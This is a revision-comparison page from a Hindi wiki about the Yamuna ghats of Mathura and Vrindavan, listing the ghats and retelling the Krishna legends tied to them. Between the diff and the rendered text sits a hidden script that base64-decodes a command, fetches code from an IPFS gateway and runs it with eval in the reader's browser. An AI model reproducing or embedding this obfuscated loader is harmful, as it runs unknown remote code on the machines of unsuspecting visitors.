"यमुना के घाट" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}<br>  
==यमुना के घाट / Ghats of Yamuna==
 
[[चित्र:Mathura-Yamuna.jpg|यमुना|thumb|600px|center]]
 
[[चित्र:Vishram-Ghat-1.jpg|[[विश्राम घाट]], [[मथुरा]]|thumb|250px]]
 
मथुरा में [[यमुना|श्रीयमुना]] अर्द्धचन्द्राकार होकर बह रही हैं । बीचोंबीच में विश्राम घाट है । '''उसके दक्षिण भाग में क्रमानुसार''' [[अविमुक्ततीर्थ]], [[गुह्म तीर्थ]], [[प्रयाग तीर्थ]], [[कनखल|कनखल तीर्थ]], [[तिन्दुक|तिन्दुक तीर्थ]], [[सूर्य तीर्थ]], [[बटस्वामीतीर्थ|बटस्वामी तीर्थ]], [[ध्रुव तीर्थ]], [[बोधि तीर्थ]], [[ऋषितीर्थ|ऋषि तीर्थ]], [[मोक्ष तीर्थ]], [[कोटि तीर्थ]]– ये बारह घाट हैं ।
 
  
भारत के सारे प्रधान–प्रधान तीर्थ एवं स्वयं–तीर्थराज [[प्रयाग]] यमुना के घाटों पर श्रीयमुना महारानी की छत्र–छाया में भगवान् [[कृष्ण|श्रीकृष्ण ]]की आराधना करते हैं । चातुर्मास्य काल में ये तीर्थसमूह विशेष रूप से यहाँ आराधना करते हैं ।
+
== यमुना के घाट / Ghats of Yamuna  ==
 +
 
 +
[[Image:Mathura-Yamuna.jpg|thumb|center|600px]] [[Image:Vishram-Ghat-1.jpg|thumb|250px]]
 +
 
 +
== मथुरा के घाट  ==
 +
 
 +
मथुरा में [[यमुना|श्रीयमुना]] अर्द्धचन्द्राकार होकर बह रही हैं । बीचोंबीच में विश्राम घाट है । '''उसके दक्षिण भाग में क्रमानुसार'''
 +
 
 +
#[[अविमुक्ततीर्थ]],
 +
#[[गुह्म तीर्थ]],
 +
#[[प्रयाग तीर्थ]],
 +
#[[कनखल|कनखल तीर्थ]],
 +
#[[तिन्दुक|तिन्दुक तीर्थ]],
 +
#[[सूर्य तीर्थ]],
 +
#[[बटस्वामीतीर्थ|बटस्वामी तीर्थ]],
 +
#[[ध्रुव तीर्थ]],
 +
#[[बोधि तीर्थ]],
 +
#[[ऋषितीर्थ|ऋषि तीर्थ]],
 +
#[[मोक्ष तीर्थ]],
 +
#[[कोटि तीर्थ|कोटि तीर्थ<br>]]
 +
 
 +
[[कोटि तीर्थ|कोटि तीर्थ]]<br>– ये बारह घाट हैं ।
 +
 
 +
भारत के सारे प्रधान–प्रधान तीर्थ एवं स्वयं–तीर्थराज [[प्रयाग]] यमुना के घाटों पर श्रीयमुना महारानी की छत्र–छाया में भगवान् [[कृष्ण|श्रीकृष्ण ]]की आराधना करते हैं । चातुर्मास्य काल में ये तीर्थसमूह विशेष रूप से यहाँ आराधना करते हैं ।  
 +
 
 +
'''[[विश्राम घाट]] के उत्तर में भी बारह घाट हैं । ये घाट इस प्रकार हैं'''
 +
 
 +
#[[नवतीर्थ]], (असी तीर्थ)
 +
#[[संयमन तीर्थ]],
 +
#[[धारापतन तीर्थ]],
 +
#[[नागतीर्थ]],
 +
#[[घण्टाभरणक तीर्थ]],
 +
#[[ब्रह्मतीर्थ]],
 +
#[[सोमतीर्थ]],
 +
#[[सरस्वती पतनतीर्थ]],
 +
#[[चक्रतीर्थ]],
 +
#[[दशाश्वमेध तीर्थ]],
 +
#[[विघ्नराज तीर्थ]],
 +
#[[कोटितीर्थ]]-अवस्थित विश्राम घाट के निकट प्रसिद्ध
 +
 
 +
एक घाट&nbsp;[[असिकुण्ड]] है, जहाँ स्नान करने से मनुष्यों के कायिक मानसिक और वाचिक सारे पाप दूर हो जाते हैं ।
 +
 
 +
== वृन्दावन के घाट  ==
 +
 
 +
वृन्दावन में श्रीयमुना के तट पर अनेक घाट हैं। उनमें से प्रसिद्ध-प्रसिद्ध घाटों का उल्लेख किया जा रहा है-
 +
 
 +
#श्रीवराहघाट- वृन्दावन के दक्षिण-पश्चिम दिशा में प्राचीन यमुनाजी के तट पर श्रीवराहघाट अवस्थित है। तट के ऊपर भी श्रीवराहदेव विराजमान हैं। पास ही श्रीगौतम मुनि का आश्रम है।
 +
#कालीयदमनघाट- इसका नामान्तर कालीयदह है। यह वराहघाट से लगभग आधे मील उत्तर में प्राचीन यमुना के तट पर अवस्थित है। यहाँ के प्रसंग के सम्बन्ध में पहले उल्लेख किया जा चुका है। कालीय को दमन कर तट भूमि में पहुँच ने पर श्रीकृष्ण को ब्रजराज नन्द और ब्रजेश्वरी श्रीयशोदाने अपने आसुँओं से तर-बतरकर दिया तथा उनके सारे अंगो में इस प्रकार देखने लगे कि 'मेरे लाला को कहीं कोई चोट तो नहीं पहुँची है।' महाराज नन्द ने कृष्ण की मंगल कामना से ब्राह्मणों को अनेकानेक गायों का यहीं पर दान किया था।
 +
#सूर्यघाट- इसका नामान्तर आदित्यघाट भी है। गोपालघाट के उत्तर में यह घाट अवस्थित है। घाट के ऊपर वाले टीले को आदित्य टीला कहते हैं। इसी टीले के ऊपर श्रीसनातन गोस्वामी के प्राणदेवता श्रीमदनमोहनजी का मन्दिर है। उसके सम्बन्ध में हम पहले ही वर्णन कर चुके हैं। यहीं पर प्रस्कन्दन तीर्थ भी है।
 +
#युगलघाट- सूर्य घाट के उत्तर में युगलघाट अवस्थित है। इस घाट के ऊपर श्रीयुगलबिहारी का प्राचीन मन्दिर शिखरविहीन अवस्था में पड़ा हुआ है। केशी घाट के निकट एक और भी युगल किशोर का मन्दिर है। वह भी इसी प्रकार शिखरविहीन अवस्था में पड़ा हुआ है।
 +
#श्रीबिहारघाट- युगलघाट के उत्तर में श्रीबिहारघाट अवस्थित है। इस घाट पर श्रीराधाकृष्ण युगल स्नान, जल विहार आदि क्रीड़ाएँ करते थे।
 +
#श्रीआंधेरघाट- युगलघाट के उत्तर में यह घाट अवस्थित हैं। इस घाट के उपवन में कृष्ण और गोपियाँ आँखमुदौवल की लीला करते थे। अर्थात् गोपियों के अपने करपल्लवों से अपने नेत्रों को ढक लेने पर श्रीकृष्ण आस-पास कहीं छिप जाते और गोपियाँ उन्हें ढूँढ़ती थीं। कभी श्रीकिशोरी जी इसी प्रकार छिप जातीं और सभी उनको ढूँढ़ते थे।
 +
#इमलीतलाघाट- आंधेरघाट के उत्तर में इमलीघाट अवस्थित है। यहीं पर श्रीकृष्ण के समसामयिक इमली वृक्ष के नीचे महाप्रभु श्रीचैतन्य देव अपने वृन्दावन वास काल में प्रेमाविष्ट होकर हरिनाम करते थे। इसलिए इसको गौरांगघाट भी कहते हैं। इस लीला स्थान के सम्बन्ध में भी हम पहले उल्लेख कर चुके हैं।
 +
#श्रृंगारघाट- इमलीतला घाट से कुछ पूर्व दिशा में यमुना तट पर श्रृंगारघाट अवस्थित है। यहीं बैठकर श्रीकृष्ण ने मानिनी श्रीराधिका का श्रृंगार किया था। वृन्दावन भ्रमण के समय श्रीनित्यानन्द प्रभुने इस घाट में स्नान किया था तथा कुछ दिनों तक इसी घाट के ऊपर श्रृंगारवट पर निवास किया था।
 +
#श्रीगोविन्दघाट- श्रृंगारघाट के पास ही उत्तर में यह घाट अवस्थित है। श्रीरासमण्डल से अन्तर्धान होने पर श्रीकृष्ण पुन: यहीं पर गोपियों के सामने आविर्भूत हुये थे।
 +
#चीरघाट- कौतु की श्रीकृष्ण स्नान करती हुईं गोपिकुमारियों के वस्त्रों को लेकर यहीं कदम्ब वृक्ष के ऊपर चढ़ गये थे। चीर का तात्पर्य वस्त्र से है। पास ही कृष्ण ने केशी दैत्य का वध करने के पश्चात् यहीं पर बैठकर विश्राम किया था। इसलिए इस घाटका दूसरा नाम चैन या चयनघाट भी है। इसके निकट ही झाडूमण्डल दर्शनीय है।
 +
#श्रीभ्रमरघाट- चीरघाट के उत्तर में यह घाट स्थित है। जब किशोर-किशोरी यहाँ क्रीड़ा विलास करते थे, उस समय दोनों के अंग सौरभ से भँवरे उन्मत्त होकर गुंजार करने लगते थे। भ्रमरों के कारण इस घाट का नाम भ्रमरघाट है।
 +
#श्रीकेशीघाट- श्रीवृन्दावन के उत्तर-पश्चिम दिशा में तथा भ्रमरघाट के उत्तर में यह प्रसिद्ध घाट विराजमान है। इसका हम पहले ही वर्णन कर चुके हैं।
 +
#धीरसमीरघाट- श्रीवृन्दावन की उत्तर-दिशा में केशीघाट से पूर्व दिशा में पास ही धीरसमीरघाट है। श्रीराधाकृष्ण युगल का विहार देखकर उनकी सेवा के लिए समीर भी सुशीतल होकर धीरे-धीरे प्रवाहित होने लगा था। पहले ही इसका उल्लेख किया जा चुका है।
 +
#श्रीराधाबागघाट- वृन्दावन के पूर्व में यह घाट अवस्थित है। इसका भी वर्णन पहले किया जा चुका है।
 +
#श्रीपानीघाट-इसी घाट से गोपियों ने यमुना को पैदल पारकर महर्षि दुर्वासा को सुस्वादु अन्न भोजन कराया था। इसका वर्णन पहले किया जा चुका है।
 +
#आदिबद्रीघाट- पानीघाट से कुछ दक्षिण में यह घाट अवस्थित है। यहाँ श्रीकृष्ण ने गोपियों को आदिबद्री नारायण का दर्शन कराया था।
 +
#श्रीराजघाट- आदि-बद्रीघाट के दक्षिण में तथा वृन्दावन की दक्षिण-पूर्व दिशा में प्राचीन यमुना के तट पर राजघाट है। यहाँ कृष्ण नाविक बनकर सखियों के साथ श्रीमती राधिका को यमुना पार करात थे। यमुना के बीच में कौतुकी कृष्ण नाना प्रकार के बहाने बनाकर जब विलम्ब करने लगते, उस समय गोपियाँ महाराजा कंस का भय दिखलाकर उन्हें शीघ्र यमुना पार करने के लिए कहती थीं। इसलिए इसका नाम राजघाट प्रसिद्ध है।
 +
 
 +
इन घाटों के अतिरिक्त वृन्दावन-कथा नामक पुस्तक में और भी 14 घाटों का उल्लेख है-
 +
 
 +
(1)महान्तजी घाट (2) नामाओवाला घाट (3) प्रस्कन्दन घाट (4) कडिया घाट (5) धूसर घाट (6) नया घाट (7) श्रीजी घाट (8) विहारी जी घाट (9) धरोयार घाट (10) नागरी घाट (11) भीम घाट (12) हिम्मत बहादुर घाट (13) चीर या चैन घाट (14) हनुमान घाट।<br>
 +
 
 +
== <br>वीथिका ==
  
'''[[विश्राम घाट]] के उत्तर में भी बारह घाट हैं । ये घाट इस प्रकार हैं''' [[नवतीर्थ]], (असी तीर्थ) [[संयमन तीर्थ]], [[धारापतन तीर्थ]], [[नागतीर्थ]], [[घण्टाभरणक तीर्थ]], [[ब्रह्मतीर्थ]], [[सोमतीर्थ]], [[सरस्वती पतनतीर्थ]], [[चक्रतीर्थ]], [[दशाश्वमेध तीर्थ]], [[विघ्नराज तीर्थ]], [[कोटितीर्थ]]-अवस्थित विश्राम घाट के निकट प्रसिद्ध [[असिकुण्ड]] है, जहाँ स्नान करने से मनुष्यों के कायिक मानसिक और वाचिक सारे पाप दूर हो जाते हैं ।
 
<br /><br />
 
==वीथिका==
 
 
<gallery>
 
<gallery>
 
चित्र:Keshi-Ghat-1.jpg|[[केशी घाट]], [[वृन्दावन]]
 
चित्र:Keshi-Ghat-1.jpg|[[केशी घाट]], [[वृन्दावन]]
पंक्ति २३: पंक्ति ८४:
 
चित्र:Vishram-Ghat-11.jpg|[[यमुना]] स्नान, [[विश्राम घाट]], [[मथुरा]]
 
चित्र:Vishram-Ghat-11.jpg|[[यमुना]] स्नान, [[विश्राम घाट]], [[मथुरा]]
 
चित्र:Aarti.jpg|आरती, [[विश्राम घाट]], [[मथुरा]]
 
चित्र:Aarti.jpg|आरती, [[विश्राम घाट]], [[मथुरा]]
</gallery>
+
</gallery>  
 +
 
 +
{|
 +
|-
 +
|
 +
{{यमुना के घाट}}
 +
 
 +
|-
 +
|
 +
{{यमुना के घाट वृन्दावन}}
 +
 
 +
|}
 +
 
 +
__INDEX__
  
<table>
+
[[Category:कोश]] [[Category:दर्शनीय-स्थल]]
<tr>
 
<td>
 
{{यमुना के घाट}}
 
</td>
 
</tr>
 
<tr>
 
<td>
 
{{यमुना के घाट वृन्दावन}}
 
</td>
 
</tr>
 
</table>
 
[[श्रेणी: कोश]]
 
[[category:दर्शनीय-स्थल]]
 
__INDEX__
 

०८:३५, १८ दिसम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यमुना के घाट / Ghats of Yamuna

Mathura-Yamuna.jpg
Vishram-Ghat-1.jpg

मथुरा के घाट

मथुरा में श्रीयमुना अर्द्धचन्द्राकार होकर बह रही हैं । बीचोंबीच में विश्राम घाट है । उसके दक्षिण भाग में क्रमानुसार

  1. अविमुक्ततीर्थ,
  2. गुह्म तीर्थ,
  3. प्रयाग तीर्थ,
  4. कनखल तीर्थ,
  5. तिन्दुक तीर्थ,
  6. सूर्य तीर्थ,
  7. बटस्वामी तीर्थ,
  8. ध्रुव तीर्थ,
  9. बोधि तीर्थ,
  10. ऋषि तीर्थ,
  11. मोक्ष तीर्थ,
  12. कोटि तीर्थ

कोटि तीर्थ
– ये बारह घाट हैं ।

भारत के सारे प्रधान–प्रधान तीर्थ एवं स्वयं–तीर्थराज प्रयाग यमुना के घाटों पर श्रीयमुना महारानी की छत्र–छाया में भगवान् श्रीकृष्ण की आराधना करते हैं । चातुर्मास्य काल में ये तीर्थसमूह विशेष रूप से यहाँ आराधना करते हैं ।

विश्राम घाट के उत्तर में भी बारह घाट हैं । ये घाट इस प्रकार हैं

  1. नवतीर्थ, (असी तीर्थ)
  2. संयमन तीर्थ,
  3. धारापतन तीर्थ,
  4. नागतीर्थ,
  5. घण्टाभरणक तीर्थ,
  6. ब्रह्मतीर्थ,
  7. सोमतीर्थ,
  8. सरस्वती पतनतीर्थ,
  9. चक्रतीर्थ,
  10. दशाश्वमेध तीर्थ,
  11. विघ्नराज तीर्थ,
  12. कोटितीर्थ-अवस्थित विश्राम घाट के निकट प्रसिद्ध

एक घाट असिकुण्ड है, जहाँ स्नान करने से मनुष्यों के कायिक मानसिक और वाचिक सारे पाप दूर हो जाते हैं ।

वृन्दावन के घाट

वृन्दावन में श्रीयमुना के तट पर अनेक घाट हैं। उनमें से प्रसिद्ध-प्रसिद्ध घाटों का उल्लेख किया जा रहा है-

  1. श्रीवराहघाट- वृन्दावन के दक्षिण-पश्चिम दिशा में प्राचीन यमुनाजी के तट पर श्रीवराहघाट अवस्थित है। तट के ऊपर भी श्रीवराहदेव विराजमान हैं। पास ही श्रीगौतम मुनि का आश्रम है।
  2. कालीयदमनघाट- इसका नामान्तर कालीयदह है। यह वराहघाट से लगभग आधे मील उत्तर में प्राचीन यमुना के तट पर अवस्थित है। यहाँ के प्रसंग के सम्बन्ध में पहले उल्लेख किया जा चुका है। कालीय को दमन कर तट भूमि में पहुँच ने पर श्रीकृष्ण को ब्रजराज नन्द और ब्रजेश्वरी श्रीयशोदाने अपने आसुँओं से तर-बतरकर दिया तथा उनके सारे अंगो में इस प्रकार देखने लगे कि 'मेरे लाला को कहीं कोई चोट तो नहीं पहुँची है।' महाराज नन्द ने कृष्ण की मंगल कामना से ब्राह्मणों को अनेकानेक गायों का यहीं पर दान किया था।
  3. सूर्यघाट- इसका नामान्तर आदित्यघाट भी है। गोपालघाट के उत्तर में यह घाट अवस्थित है। घाट के ऊपर वाले टीले को आदित्य टीला कहते हैं। इसी टीले के ऊपर श्रीसनातन गोस्वामी के प्राणदेवता श्रीमदनमोहनजी का मन्दिर है। उसके सम्बन्ध में हम पहले ही वर्णन कर चुके हैं। यहीं पर प्रस्कन्दन तीर्थ भी है।
  4. युगलघाट- सूर्य घाट के उत्तर में युगलघाट अवस्थित है। इस घाट के ऊपर श्रीयुगलबिहारी का प्राचीन मन्दिर शिखरविहीन अवस्था में पड़ा हुआ है। केशी घाट के निकट एक और भी युगल किशोर का मन्दिर है। वह भी इसी प्रकार शिखरविहीन अवस्था में पड़ा हुआ है।
  5. श्रीबिहारघाट- युगलघाट के उत्तर में श्रीबिहारघाट अवस्थित है। इस घाट पर श्रीराधाकृष्ण युगल स्नान, जल विहार आदि क्रीड़ाएँ करते थे।
  6. श्रीआंधेरघाट- युगलघाट के उत्तर में यह घाट अवस्थित हैं। इस घाट के उपवन में कृष्ण और गोपियाँ आँखमुदौवल की लीला करते थे। अर्थात् गोपियों के अपने करपल्लवों से अपने नेत्रों को ढक लेने पर श्रीकृष्ण आस-पास कहीं छिप जाते और गोपियाँ उन्हें ढूँढ़ती थीं। कभी श्रीकिशोरी जी इसी प्रकार छिप जातीं और सभी उनको ढूँढ़ते थे।
  7. इमलीतलाघाट- आंधेरघाट के उत्तर में इमलीघाट अवस्थित है। यहीं पर श्रीकृष्ण के समसामयिक इमली वृक्ष के नीचे महाप्रभु श्रीचैतन्य देव अपने वृन्दावन वास काल में प्रेमाविष्ट होकर हरिनाम करते थे। इसलिए इसको गौरांगघाट भी कहते हैं। इस लीला स्थान के सम्बन्ध में भी हम पहले उल्लेख कर चुके हैं।
  8. श्रृंगारघाट- इमलीतला घाट से कुछ पूर्व दिशा में यमुना तट पर श्रृंगारघाट अवस्थित है। यहीं बैठकर श्रीकृष्ण ने मानिनी श्रीराधिका का श्रृंगार किया था। वृन्दावन भ्रमण के समय श्रीनित्यानन्द प्रभुने इस घाट में स्नान किया था तथा कुछ दिनों तक इसी घाट के ऊपर श्रृंगारवट पर निवास किया था।
  9. श्रीगोविन्दघाट- श्रृंगारघाट के पास ही उत्तर में यह घाट अवस्थित है। श्रीरासमण्डल से अन्तर्धान होने पर श्रीकृष्ण पुन: यहीं पर गोपियों के सामने आविर्भूत हुये थे।
  10. चीरघाट- कौतु की श्रीकृष्ण स्नान करती हुईं गोपिकुमारियों के वस्त्रों को लेकर यहीं कदम्ब वृक्ष के ऊपर चढ़ गये थे। चीर का तात्पर्य वस्त्र से है। पास ही कृष्ण ने केशी दैत्य का वध करने के पश्चात् यहीं पर बैठकर विश्राम किया था। इसलिए इस घाटका दूसरा नाम चैन या चयनघाट भी है। इसके निकट ही झाडूमण्डल दर्शनीय है।
  11. श्रीभ्रमरघाट- चीरघाट के उत्तर में यह घाट स्थित है। जब किशोर-किशोरी यहाँ क्रीड़ा विलास करते थे, उस समय दोनों के अंग सौरभ से भँवरे उन्मत्त होकर गुंजार करने लगते थे। भ्रमरों के कारण इस घाट का नाम भ्रमरघाट है।
  12. श्रीकेशीघाट- श्रीवृन्दावन के उत्तर-पश्चिम दिशा में तथा भ्रमरघाट के उत्तर में यह प्रसिद्ध घाट विराजमान है। इसका हम पहले ही वर्णन कर चुके हैं।
  13. धीरसमीरघाट- श्रीवृन्दावन की उत्तर-दिशा में केशीघाट से पूर्व दिशा में पास ही धीरसमीरघाट है। श्रीराधाकृष्ण युगल का विहार देखकर उनकी सेवा के लिए समीर भी सुशीतल होकर धीरे-धीरे प्रवाहित होने लगा था। पहले ही इसका उल्लेख किया जा चुका है।
  14. श्रीराधाबागघाट- वृन्दावन के पूर्व में यह घाट अवस्थित है। इसका भी वर्णन पहले किया जा चुका है।
  15. श्रीपानीघाट-इसी घाट से गोपियों ने यमुना को पैदल पारकर महर्षि दुर्वासा को सुस्वादु अन्न भोजन कराया था। इसका वर्णन पहले किया जा चुका है।
  16. आदिबद्रीघाट- पानीघाट से कुछ दक्षिण में यह घाट अवस्थित है। यहाँ श्रीकृष्ण ने गोपियों को आदिबद्री नारायण का दर्शन कराया था।
  17. श्रीराजघाट- आदि-बद्रीघाट के दक्षिण में तथा वृन्दावन की दक्षिण-पूर्व दिशा में प्राचीन यमुना के तट पर राजघाट है। यहाँ कृष्ण नाविक बनकर सखियों के साथ श्रीमती राधिका को यमुना पार करात थे। यमुना के बीच में कौतुकी कृष्ण नाना प्रकार के बहाने बनाकर जब विलम्ब करने लगते, उस समय गोपियाँ महाराजा कंस का भय दिखलाकर उन्हें शीघ्र यमुना पार करने के लिए कहती थीं। इसलिए इसका नाम राजघाट प्रसिद्ध है।

इन घाटों के अतिरिक्त वृन्दावन-कथा नामक पुस्तक में और भी 14 घाटों का उल्लेख है-

(1)महान्तजी घाट (2) नामाओवाला घाट (3) प्रस्कन्दन घाट (4) कडिया घाट (5) धूसर घाट (6) नया घाट (7) श्रीजी घाट (8) विहारी जी घाट (9) धरोयार घाट (10) नागरी घाट (11) भीम घाट (12) हिम्मत बहादुर घाट (13) चीर या चैन घाट (14) हनुमान घाट।


वीथिका

साँचा:यमुना के घाट

साँचा:यमुना के घाट वृन्दावन